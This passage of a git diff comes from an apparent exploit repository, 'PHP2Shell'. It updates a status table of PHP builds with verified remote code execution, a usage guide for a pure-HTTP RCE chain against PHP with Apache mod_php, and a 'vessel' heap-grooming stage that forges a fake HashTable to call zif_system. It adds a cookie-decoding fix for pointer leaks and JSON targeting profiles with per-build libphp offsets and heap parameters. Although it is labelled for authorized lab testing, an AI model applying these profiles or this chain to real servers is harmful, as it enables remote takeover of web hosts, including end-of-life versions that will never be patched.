php-8.3.35-bookworm-amd64 | 0x3ac080 | 0x49ec50 | - | 841 | 63 | 406 | - | no | +| 8.4.2 | php-8.4.2-bookworm-amd64 | 0x4398b0 | 0x628ea0 | - | 0 | 0 | - | - | no | +| 8.4.5 | php-8.4.5-bookworm-amd64 | 0x43b660 | 0x62c420 | - | 892 | 63 | - | - | no | +| 8.4.6 | php-8.4.6-bookworm-amd64 | 0x43b940 | 0x62ca40 | - | 892 | 63 | 406 | - | no | +| 8.4.7 | php-8.4.7-bookworm-amd64 | 0x43b920 | 0x62cd60 | - | 892 | 63 | 406 | - | no | +| 8.4.8 | php-8.4.8-bookworm-amd64 | 0x43b940 | 0x62cd10 | - | 841 | 63 | 406 | - | no | +| 8.4.10 | php-8.4.10-bookworm-amd64 | 0x43b7d0 | 0x62cf70 | 0x690d8 | 841 | 63 | 406 | carrier | yes | +| 8.4.11 | php-8.4.11-bookworm-amd64 | 0x446cb0 | 0x63d2e0 | 0x690d8 | 841 | 63 | 406 | carrier | yes | +| 8.4.12 | php-8.4.12-bookworm-amd64 | 0x446cf0 | 0x63dc20 | - | 841 | 63 | 406 | - | no | +| 8.4.13 | php-8.4.13-bookworm-amd64 | 0x445bf0 | 0x63cbe0 | - | 841 | 63 | 406 | - | no | +| 8.4.14 | php-8.4.14-bookworm-amd64 | 0x445c30 | 0x63d020 | - | 841 | 63 | 406 | - | no | +| 8.4.15 | php-8.4.15-bookworm-amd64 | 0x445f70 | 0x63d420 | - | 841 | 63 | 406 | - | no | +| 8.4.16 | php-8.4.16-bookworm-amd64 | 0x446930 | 0x63de20 | - | 841 | 63 | 406 | - | no | +| 8.4.17 | php-8.4.17-bookworm-amd64 | 0x446cb0 | 0x63e520 | - | 841 | 63 | 406 | - | no | +| 8.4.18 | php-8.4.18-bookworm-amd64 | 0x446ff0 | 0x63eb20 | - | 841 | 63 | 406 | - | no | +| 8.4.19 | php-8.4.19-bookworm-amd64 | 0x4472f0 | 0x63efe0 | 0x690d8 | 841 | 63 | 406 | carrier | yes | +| 8.4.20 | php-8.4.20-bookworm-amd64 | 0x447530 | 0x63f9e0 | 0x690d8 | 841 | 63 | 406 | carrier | yes | +| 8.4.25 | php-8.4.25-bookworm-aarch64 | 0x42fa30 | 0x637ae0 | 0x690d8 | 841 | 63 | 406 | carrier | yes | +| 8.4.25 | php-8.4.25-bookworm-amd64 | 0x464c70 | 0x65dc60 | 0x690d8 | 841 | 63 | 406 | carrier | yes | +| 8.4.26 | php-8.4.26-bookworm-amd64 | 0x465370 | 0x65eb60 | 0x690d8 | 841 | 79 | 406 | carrier | yes | +| 8.5.0 | php-8.5.0-bookworm-amd64 | 0x56a420 | 0x781fe0 | 0x690d8 | 841 | 63 | 406 | vessel | yes | +| 8.5.0 | php-8.5.0-bookworm | 0x503510 | 0x731d80 | - | 841 | 63 | 406 | - | no | +| 8.5.1 | php-8.5.1-bookworm-amd64 | 0x56a9a0 | 0x7826a0 | 0x690d8 | 841 | 63 | 406 | vessel | yes | +| 8.5.2 | php-8.5.2-bookworm-amd64 | 0x56bca0 | 0x783de0 | 0x690d8 | 841 | 63 | 406 | vessel | yes | +| 8.5.3 | php-8.5.3-bookworm-amd64 | 0x56d1e0 | 0x785620 | 0x690d8 | 841 | 63 | 406 | vessel | yes | +| 8.5.4 | php-8.5.4-bookworm-amd64 | 0x5705e0 | 0x788ba0 | 0x690d8 | 841 | 63 | 406 | vessel | yes | +| 8.5.5 | php-8.5.5-bookworm-amd64 | 0x570de0 | 0x789ae0 | 0x690d8 | 841 | 63 | 406 | vessel | yes | +| 8.5.6 | php-8.5.6-bookworm-amd64 | 0x595160 | 0x7ae6e0 | 0x690d8 | 841 | 63 | 406 | vessel | yes | +| 8.5.7 | php-8.5.7-bookworm-amd64 | 0x5960e0 | 0x7b0460 | 0x690d8 | 841 | 63 | 406 | vessel | yes | +| 8.5.8 | php-8.5.8-bookworm-amd64 | 0x596620 | 0x7b0d60 | 0x690d8 | 841 | 63 | 406 | vessel | yes | +| 8.5.9 | php-8.5.9-bookworm-amd64 | 0x598160 | 0x7b29a0 | 0x690d8 | 841 | 63 | 406 | vessel | yes | +| 8.5.10 | php-8.5.10-bookworm-aarch64 | 0x52e130 | 0x75d360 | 0x690d8 | 841 | 63 | 406 | carrier | yes | +| 8.5.10 | php-8.5.10-bookworm-amd64 | 0x598d60 | 0x7b3860 | 0x690d8 | 841 | 63 | 406 | carrier | yes | +| 8.5.11 | php-8.5.11-bookworm-aarch64 | 0x5314f0 | 0x761b80 | 0x690d8 | 841 | 63 | 406 | carrier | yes | +| 8.5.11 | php-8.5.11-bookworm-amd64 | 0x5996e0 | 0x7b47a0 | 0x690d8 | 841 | 63 | 406 | carrier | yes | + +47 profiles, 21 with verified RCE. + + + +### RCE verified (official images, one worker, `display_errors=On`, `memory_limit=8M`) + +- **8.4.26** — `php:8.4.26-apache` (bookworm). First verified build; used + against the local 8.4.26 laboratory. Verified 3/3 manually and through the + factory; forge length 79 differs from the other builds' 63. Fixed in 8.4.27. +- **8.4.25** — `php:8.4.25-apache` (amd64 and aarch64). Same layout family as + 8.4.26 (`htdata=0x690d8`, N=841). Fixed in 8.4.27. +- **8.4.20** — `php:8.4.20-apache`. Same layout family. Fixed in 8.4.27. +- **8.4.19, 8.4.11, 8.4.10** — `php:8.4.{10,11,19}-apache`. Same layout + family (carrier stage 3, `htdata=0x690d8`, N=841). Fixed in 8.4.27. +- **8.5.10** — `php:8.5.10-apache` (amd64 and aarch64). Fixed in 8.5.12. +- **8.5.11** — `php:8.5.11-apache` (amd64 and aarch64). Fixed in 8.5.12. +- **8.5.0 – 8.5.9** — `php:8.5.{0..9}-apache`. **Vessel stage 3** (see + below): the upstream carrier layout is unreachable on the early-8.5 heap, + so S steers the dangling reference one page up onto B2's blob page and + blob 1 embeds the reference pattern itself. `uid=33(www-data)` proofs on + all ten — the geometry calibrated on 8.5.0/8.5.5 (under gdb and without + it) carried over to 8.5.1–8.5.9 unchanged. Fixed in 8.5.12. + +### Leaks reproduced, stage 3 misses + +- **8.4.13, 8.4.8** — `php:8.4.{8,13}-apache`. Stages 1-2 calibrated; + the stage-3 sweep ran out of attempts before a carrier placement was + found. Fixed in 8.4.27. +- **8.3.35** — `php:8.3.35-apache` (amd64 and aarch64). Same shape: both leaks + reproduce, the carrier stage 3 does not place the fake reference. A vessel + adaptation was measured and does not fit this heap: the dangling reference + lands ~0x13 pages below the blob pages and the early-8.5 geometry cannot + reach it; a bin/graft-offset generalization is still needed. Fixed in + 8.3.36. +- **8.3.33** — `wordpress:7.1.1-apache` (PHP 8.3.33, mod_php). Stages 1-2 + reproduced; stage 3 not calibrated. Fixed in 8.3.36. + +### Leak stage to re-run (cookie decode fix) + +- **8.4.18 – 8.4.14, 8.4.12, 8.4.7, 8.4.6** — these sweeps recorded + "heap/libphp leak not reproduced" before the `Set-Cookie` `'+'` decoding bug + was fixed (`docs/upstream-changes.md`, section 3). 8.4.6/8.4.7 also hint at + the older 8.3.x-era stage-1 geometry (N=892). The offsets are extracted and + the labs rebuild in minutes; the profiles stay `rce=false` until the leaks + and stage 3 are actually reproduced. 8.5.3 (listed here previously) was + re-run with the fix and is now vessel-verified; the no-leak builds (8.4.2, + 8.4.5) and the stage-3 misses (8.4.8, 8.4.13) are queued for the same + re-run. + +### Stage-1 leak only + +- **8.3.20, 8.4.5** — `php:8.3.20-apache`, `php:8.4.5-apache`. The stage-1 + stale block is taken by **v0892** (not v0841) and the chunk base leaks, but + the stage-2 sweep — even with `--full-search` — finds no libphp pointer in + the heap. The leak shape moved between 8.3.20→8.3.35 and 8.4.5→8.4.10. + +### Stage 1 not reproduced + +- **8.4.2, 8.2.34, 8.2.28, 8.1.34, 7.4.33** — official images + (`php:8.4.2-apache`, `php:8.2.34-apache`, `php:8.2.28-apache`, + `php:8.1-apache` on bullseye, `php:7.4-apache` on buster). The stage-1 probe + does not reveal the stale-block index at all: the OOM-bailout UAF does not + shape the heap the way 8.4.10+ does. Matches the author's aarch64 results + (7.4.33, 8.0.30, 8.1.34, 8.2.34 all "leak shape differs"). 8.1 and 7.4 are + EOL and will never be fixed; 8.2/8.4 are fixed in 8.2.35 / 8.4.27. + +### The vessel stage 3 (early-8.5 heap layout) + +On the early-8.5 builds (`php:8.5.0` – `php:8.5.9`, all vessel-verified) the +request machinery carves the 32-byte +(bin-3) page at chunk offset 0x68 before any of our multipart fields are +parsed, while B2's 15 fake-HashTable blobs (167-byte values, bin-13/192 B) +start one page later at 0x69. The upstream carrier string can therefore never +land on the dangling `PS(http_session_vars)` reference — it sits on 0x68, the +blobs on 0x69. `tools/php2shell_vessel.py` realigns the pages instead: + +1. **S (prime)** grows an "early" field with a 160-byte value (one whole + bin-13 page), pushing S's first bin-3 carve — the page holding the dangling + reference — one page up: `R0(m) = 0x69000 + 0x160 + 0x80*m`, m = 3 with + three `7:7` pads → `R0 = 0x692E0`. +2. **B2** drops the carrier string and every short-named field, so it carves + no bin-3 slot of its own; its blob run starts at page 0x69 with blob 0's + data at `chunk+0x690D8` and blob 1 — the *vessel* — at `chunk+0x69258`, + whose bytes at `+0x88` sit exactly at `R0`. + +The vessel is byte-identical to the canonical fake-HashTable blob except for +a 15-byte graft at offset 0x88 (over the fake cmd string's `h`/`len` fields, +both unread on the fire path): the reference pattern `gc(rc=1, IS_REFERENCE)` +plus the low 7 bytes of `htdata`, a NUL, and `val.u1 type_info = 0x0307` +(`IS_REFERENCE`, refcounted). At session close the destructor reads the +vessel as the stale reference, DELREFs `val.value` (blob 0's fake HashTable) +and fires `zif_system` with blob 0's command string. + +Profiles store the vessel geometry in `stages`: `stage3_mode: "vessel"`, +`stage3_early`, `stage3_blobs`, `stage3_vessel_index` plus the usual pads. +The dispatcher and calibrator route to the vessel chain automatically +(`--stage3-mode vessel` on `php2shell_calibrate.py`). ## Symbol offsets for more builds -`docs/offset-inventory.md` (generated by `tools/php2shell_offsets.py`) lists the -`zif_system` / `zval_ptr_dtor` offsets for the official images of the EOL -branches too: - -| PHP | `zif_system` | `zval_ptr_dtor` | -| --- | --- | --- | -| 7.4.33 | 0x309640 | 0x3f6024 | -| 8.0.30 | 0x31ef70 | 0x40ddb0 | -| 8.1.34 | 0x341e08 | 0x42e7a0 | - -These are offsets only; no heap calibration was performed for 7.4, 8.0 or 8.1. +`docs/offset-inventory.md` (generated by `tools/php2shell_offsets.py`) lists +the `zif_system` / `zval_ptr_dtor` offsets for every official image that was +inspected, cross-referenced with the heap-calibration state above — including +the EOL branches (7.4, 8.0, 8.1) where offsets are known but the stage-1 leak +does not reproduce. ## Coverage vs the catalog @@ -76,6 +165,6 @@ These are offsets only; no heap calibration was performed for 7.4, 8.0 or 8.1. images that were actually run. A version is exploitable only when a verified profile exists for its exact build; the dispatcher refuses to guess. -To add a build, append it to `BUILDS` in `tools/php2shell_matrix.py` and run the -factory. Architecture matters: these profiles are `aarch64`; an `x86_64` -image produces its own offsets and heap layout. +To add a build, append it to `BUILDS` in `tools/php2shell_matrix.py` and run +the factory. Architecture matters: an `x86_64` image produces its own offsets +and heap layout, and so does each distro base (bookworm/bullseye/buster). diff --git a/docs/rce-guide.md b/docs/rce-guide.md index 2e1bd1c..2782ca8 100644 --- a/docs/rce-guide.md +++ b/docs/rce-guide.md @@ -1,6 +1,6 @@ # PHP2Shell RCE — verified exploit and how to use it -Date: 2026-10-21. Scope: authorized testing only. +Date: 2026-10-23. Scope: authorized testing only. ## 1. What is verified @@ -8,6 +8,11 @@ A full, pure-HTTP RCE chain for **PHP 8.4.26 + Apache prefork + mod_php** has been executed against a local laboratory target. No agent, file drop, gdb or debugger is needed on the target: the exploit is a normal HTTP client. +As of this date the chain is verified on **21 image/arch profiles** covering +18 PHP versions (see the README status table): 8.4.10/11/19/20/25/26, +8.5.10/11 (carrier stage 3) and 8.5.0 – 8.5.9 (vessel stage 3, section 8), +each with a `uid=33(www-data)` command proof on an isolated local lab. + Verified output, 3/3 runs: ```text @@ -94,8 +99,10 @@ PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` Constraints: `post_max_size` and any proxy body limit must allow `huge_mb`; -`display_errors=On` and a single prefork worker are still required. The heap -calibration did not change between 8M and 128M on this build. +the stock default `post_max_size=8M` silently rejects every OOM body (the +dispatcher detects this and reports `CONFIG BLOCKED`). `display_errors=On` and +a single prefork worker are still required. The heap calibration did not +change between 8M and 128M on this build. ### 2.1 Commands and interactive mode @@ -310,6 +317,7 @@ the RCE stage and prints what is still missing. "stages": { "stage1_n": 841, "stage1_forge_len": 79, "stage2_t": 406, "stage2_v": 16, + "stage3_mode": "carrier", "stage3_pads": [[31,31],[31,31],[31,31],[31,31],[31,31],[31,31]], "stage3_carrier": true }, @@ -322,6 +330,34 @@ that exact build. Same PHP version built by another distribution has different `libphp` offsets and a different heap layout, so the version string alone is not a build fingerprint. +`stages.stage3_mode` selects the stage-3 variant: `"carrier"` (upstream +15-byte string), `"lab"` (55-byte reference carriers) or `"vessel"` (see the +next section; adds `stage3_early`, `stage3_blobs` and `stage3_vessel_index`). + +### Vessel stage 3 (early-8.5 layouts) + +On the early-8.5 builds (`php:8.5.0` – `php:8.5.9`, all verified) the request +machinery carves the 32-byte +(bin-3) page at chunk offset 0x68 before any multipart field is parsed, while +B2's fake-HashTable blobs (167-byte values, bin-13/192 B) land one page later +at 0x69 — the upstream carrier string can never reach the dangling reference +on 0x68. The vessel variant (`tools/php2shell_vessel.py`) realigns the pages: +an "early" 160-byte S-side field consumes one whole bin-13 page, pushing the +dangling reference onto 0x69 (`R0 = 0x692E0` with three `7:7` pads); B2 then +uses only long names/values (no bin-3 carves of its own) so its blob run +starts at 0x69, and blob 1 — the vessel — embeds the 15-byte reference +pattern at its offset 0x88 (over the fake cmd string's `h`/`len` fields, +unread on the fire path) with `val.u1 type_info = 0x0307`. At session close +the destructor reads the vessel as the stale reference and fires `zif_system` +on blob 0's command string. Both leaks are unchanged from upstream; stages 1-2 +parameters stay `N=841`, `T=406`. + +The dispatcher routes vessel profiles automatically; to calibrate a new +early-8.5 build, run `tools/php2shell_calibrate.py --stage3-mode vessel` +(the geometry defaults come from the 8.5.0/8.5.5 calibration and carried over +to 8.5.1–8.5.9 unchanged; they can be swept +with `--early/--pad/--blobs/--vessel-index`). + ### Scaling to more versions 1. **Stage 1 (heap leak)** can be discovered at runtime: send unique 48-byte @@ -332,7 +368,9 @@ a build fingerprint. 3. **Stage 3 (fake HashTable / `zif_system`)** is the hard part: the dangling reference address and the live 167-byte carrier must be measured for each build. A calibration harness on a local replica (with `/proc//mem` or - ASAN) turns that measurement into a profile. + ASAN) turns that measurement into a profile. When the carrier layout is + unreachable (early-8.5 heap), the vessel variant measures the blob-page + alignment instead. 4. **Fixed releases** are rejected before any request is sent; `display_errors`, `memory_limit`, worker count and session settings must match the profile. diff --git a/docs/upstream-changes.md b/docs/upstream-changes.md index ddda1cf..cfbae03 100644 --- a/docs/upstream-changes.md +++ b/docs/upstream-changes.md @@ -50,7 +50,25 @@ if not (0x10000 < p < 0x0001000000000000): These overrides are what let one upstream checkout serve profiles with different `stage1_n`, forge length and stage-2 parameters. -## 3. Optional `noexpose` profile +## 3. Cookie '+' decoding + +PHP `urlencode()`s the session id for the `Set-Cookie` header, and that +encoding writes a space byte (0x20) as `+`. urllib's `unquote_to_bytes()` +leaves `+` untouched, so any leaked pointer whose address contains a 0x20 +byte is read back `0xB00000000` too high (0x20 → 0x2b) and every stage-3 +address derived from it misses. In `parse_cookie`: + +```python +raw = m.group(1).replace(b"+", b"%20") +return urllib.parse.unquote_to_bytes(raw.decode("latin1")) +``` + +A true `+` byte in memory arrives as `%2B` and decodes back to `+` either +way, so the rewrite is lossless. This matters for roughly 1 in 256 ASLR +epochs per leaked mapping; it is why some builds calibrated clean leaks but +never landed stage 3. + +## 4. Optional `noexpose` profile For `expose_php=Off` research, the stage-1 bookworm parameters are combined with the lab stage-3 pads. This profile is experimental and is not used by the @@ -62,3 +80,7 @@ verified builds. Add it manually only if you are calibrating that configuration. shared patcher before importing/running the upstream. - HTTPS runs with `--insecure` apply the SNI/TLS change. - Direct manual use of `exploit.py` requires the snippets above. +- The early-8.5 "vessel" stage 3 is our own module + (`tools/php2shell_vessel.py`), not an upstream change: it reuses the patched + upstream for stages 1-2 and only replaces the stage-3 requests. The + technique is documented in `docs/profile-inventory.md`. diff --git a/lab/rce/php.ini b/lab/rce/php.ini index 74118bd..572fe89 100644 --- a/lab/rce/php.ini +++ b/lab/rce/php.ini @@ -2,8 +2,8 @@ display_errors = On display_startup_errors = On error_reporting = E_ALL memory_limit = 8M -post_max_size = 64M -upload_max_filesize = 64M +post_max_size = 512M +upload_max_filesize = 512M session.save_path = "/tmp" session.use_strict_mode = 0 session.use_cookies = 1 diff --git a/profiles/7.4.33-buster-amd64.json b/profiles/7.4.33-buster-amd64.json new file mode 100644 index 0000000..8d41f00 --- /dev/null +++ b/profiles/7.4.33-buster-amd64.json @@ -0,0 +1,37 @@ +{ + "name": "php-7.4.33-buster-amd64", + "php_version": "7.4.33", + "branch": "7.4", + "fixed_in": null, + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": false, + "rce": false, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x335850", + "zval_ptr_dtor": "0x417d60", + "htdata": null + }, + "stages": { + "stage1_n": 0, + "stage1_forge_len": 0, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": null, + "stage3_carrier": null + }, + "config": { + "memory_limit": 8388608, + "display_errors": "unknown (CLI says Off)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": null, + "libphp_base": null + }, + "status": "calibration failed: heap/libphp leak not reproduced" +} \ No newline at end of file diff --git a/profiles/8.1.34-bullseye-amd64.json b/profiles/8.1.34-bullseye-amd64.json new file mode 100644 index 0000000..202803e --- /dev/null +++ b/profiles/8.1.34-bullseye-amd64.json @@ -0,0 +1,37 @@ +{ + "name": "php-8.1.34-bullseye-amd64", + "php_version": "8.1.34", + "branch": "8.1", + "fixed_in": null, + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": false, + "rce": false, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x36f470", + "zval_ptr_dtor": "0x457150", + "htdata": null + }, + "stages": { + "stage1_n": 0, + "stage1_forge_len": 0, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": null, + "stage3_carrier": null + }, + "config": { + "memory_limit": 8388608, + "display_errors": "unknown (CLI says Off)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": null, + "libphp_base": null + }, + "status": "calibration failed: heap/libphp leak not reproduced" +} \ No newline at end of file diff --git a/profiles/8.2.28-bookworm-amd64.json b/profiles/8.2.28-bookworm-amd64.json new file mode 100644 index 0000000..9ad399f --- /dev/null +++ b/profiles/8.2.28-bookworm-amd64.json @@ -0,0 +1,37 @@ +{ + "name": "php-8.2.28-bookworm-amd64", + "php_version": "8.2.28", + "branch": "8.2", + "fixed_in": "8.2.35", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": false, + "rce": false, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x3928b0", + "zval_ptr_dtor": "0x47b630", + "htdata": null + }, + "stages": { + "stage1_n": 0, + "stage1_forge_len": 0, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": null, + "stage3_carrier": null + }, + "config": { + "memory_limit": 8388608, + "display_errors": "unknown (CLI says Off)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": null, + "libphp_base": null + }, + "status": "calibration failed: heap/libphp leak not reproduced" +} \ No newline at end of file diff --git a/profiles/8.2.34-bookworm-amd64.json b/profiles/8.2.34-bookworm-amd64.json new file mode 100644 index 0000000..3e0e3ab --- /dev/null +++ b/profiles/8.2.34-bookworm-amd64.json @@ -0,0 +1,37 @@ +{ + "name": "php-8.2.34-bookworm-amd64", + "php_version": "8.2.34", + "branch": "8.2", + "fixed_in": "8.2.35", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": false, + "rce": false, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x39b8a0", + "zval_ptr_dtor": "0x487650", + "htdata": null + }, + "stages": { + "stage1_n": 0, + "stage1_forge_len": 0, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": null, + "stage3_carrier": null + }, + "config": { + "memory_limit": 8388608, + "display_errors": "unknown (CLI says Off)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": null, + "libphp_base": null + }, + "status": "calibration failed: heap/libphp leak not reproduced" +} \ No newline at end of file diff --git a/profiles/8.3.20-bookworm-amd64.json b/profiles/8.3.20-bookworm-amd64.json new file mode 100644 index 0000000..76a368f --- /dev/null +++ b/profiles/8.3.20-bookworm-amd64.json @@ -0,0 +1,37 @@ +{ + "name": "php-8.3.20-bookworm-amd64", + "php_version": "8.3.20", + "branch": "8.3", + "fixed_in": "8.3.36", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": false, + "rce": false, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x3a21d0", + "zval_ptr_dtor": "0x491bd0", + "htdata": null + }, + "stages": { + "stage1_n": 892, + "stage1_forge_len": 63, + "stage2_t": null, + "stage2_v": 16, + "stage3_pads": null, + "stage3_carrier": null + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7f1f5a200000", + "libphp_base": null + }, + "status": "calibration failed: heap/libphp leak not reproduced" +} \ No newline at end of file diff --git a/profiles/8.3.35-bookworm-amd64.json b/profiles/8.3.35-bookworm-amd64.json new file mode 100644 index 0000000..caf92c1 --- /dev/null +++ b/profiles/8.3.35-bookworm-amd64.json @@ -0,0 +1,37 @@ +{ + "name": "php-8.3.35-bookworm-amd64", + "php_version": "8.3.35", + "branch": "8.3", + "fixed_in": "8.3.36", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": false, + "rce": false, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x3ac080", + "zval_ptr_dtor": "0x49ec50", + "htdata": null + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": null, + "stage3_carrier": null + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7ff9bec00000", + "libphp_base": "0x7ff9c07c1000" + }, + "status": "leaks calibrated; stage 3 not verified" +} \ No newline at end of file diff --git a/profiles/8.4.10-bookworm-amd64.json b/profiles/8.4.10-bookworm-amd64.json new file mode 100644 index 0000000..f260c2f --- /dev/null +++ b/profiles/8.4.10-bookworm-amd64.json @@ -0,0 +1,63 @@ +{ + "name": "php-8.4.10-bookworm-amd64", + "php_version": "8.4.10", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": true, + "rce": true, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x43b7d0", + "zval_ptr_dtor": "0x62cf70", + "htdata": "0x690d8" + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": [ + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ] + ], + "stage3_carrier": true, + "stage3_mode": "carrier" + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7f0493400000", + "libphp_base": "0x7f04916f2000" + }, + "status": "RCE verified" +} diff --git a/profiles/8.4.11-bookworm-amd64.json b/profiles/8.4.11-bookworm-amd64.json new file mode 100644 index 0000000..89f4ae1 --- /dev/null +++ b/profiles/8.4.11-bookworm-amd64.json @@ -0,0 +1,63 @@ +{ + "name": "php-8.4.11-bookworm-amd64", + "php_version": "8.4.11", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": true, + "rce": true, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x446cb0", + "zval_ptr_dtor": "0x63d2e0", + "htdata": "0x690d8" + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": [ + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ] + ], + "stage3_carrier": true, + "stage3_mode": "carrier" + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7f6d04200000", + "libphp_base": "0x7f6d05f22000" + }, + "status": "RCE verified" +} diff --git a/profiles/8.4.12-bookworm-amd64.json b/profiles/8.4.12-bookworm-amd64.json new file mode 100644 index 0000000..c7c87fd --- /dev/null +++ b/profiles/8.4.12-bookworm-amd64.json @@ -0,0 +1,37 @@ +{ + "name": "php-8.4.12-bookworm-amd64", + "php_version": "8.4.12", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": false, + "rce": false, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x446cf0", + "zval_ptr_dtor": "0x63dc20", + "htdata": null + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": null, + "stage3_carrier": null + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x600000", + "libphp_base": null + }, + "status": "calibration failed: heap/libphp leak not reproduced" +} \ No newline at end of file diff --git a/profiles/8.4.13-bookworm-amd64.json b/profiles/8.4.13-bookworm-amd64.json new file mode 100644 index 0000000..50a266e --- /dev/null +++ b/profiles/8.4.13-bookworm-amd64.json @@ -0,0 +1,37 @@ +{ + "name": "php-8.4.13-bookworm-amd64", + "php_version": "8.4.13", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": false, + "rce": false, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x445bf0", + "zval_ptr_dtor": "0x63cbe0", + "htdata": null + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": null, + "stage3_carrier": null + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x600000", + "libphp_base": "0x7f4da8f4f000" + }, + "status": "leaks calibrated; stage 3 not verified" +} \ No newline at end of file diff --git a/profiles/8.4.14-bookworm-amd64.json b/profiles/8.4.14-bookworm-amd64.json new file mode 100644 index 0000000..8c01aef --- /dev/null +++ b/profiles/8.4.14-bookworm-amd64.json @@ -0,0 +1,37 @@ +{ + "name": "php-8.4.14-bookworm-amd64", + "php_version": "8.4.14", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": false, + "rce": false, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x445c30", + "zval_ptr_dtor": "0x63d020", + "htdata": null + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": null, + "stage3_carrier": null + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x600000", + "libphp_base": null + }, + "status": "calibration failed: heap/libphp leak not reproduced" +} \ No newline at end of file diff --git a/profiles/8.4.15-bookworm-amd64.json b/profiles/8.4.15-bookworm-amd64.json new file mode 100644 index 0000000..c8462dd --- /dev/null +++ b/profiles/8.4.15-bookworm-amd64.json @@ -0,0 +1,37 @@ +{ + "name": "php-8.4.15-bookworm-amd64", + "php_version": "8.4.15", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": false, + "rce": false, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x445f70", + "zval_ptr_dtor": "0x63d420", + "htdata": null + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": null, + "stage3_carrier": null + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x600000", + "libphp_base": null + }, + "status": "calibration failed: heap/libphp leak not reproduced" +} \ No newline at end of file diff --git a/profiles/8.4.16-bookworm-amd64.json b/profiles/8.4.16-bookworm-amd64.json new file mode 100644 index 0000000..e23ac19 --- /dev/null +++ b/profiles/8.4.16-bookworm-amd64.json @@ -0,0 +1,37 @@ +{ + "name": 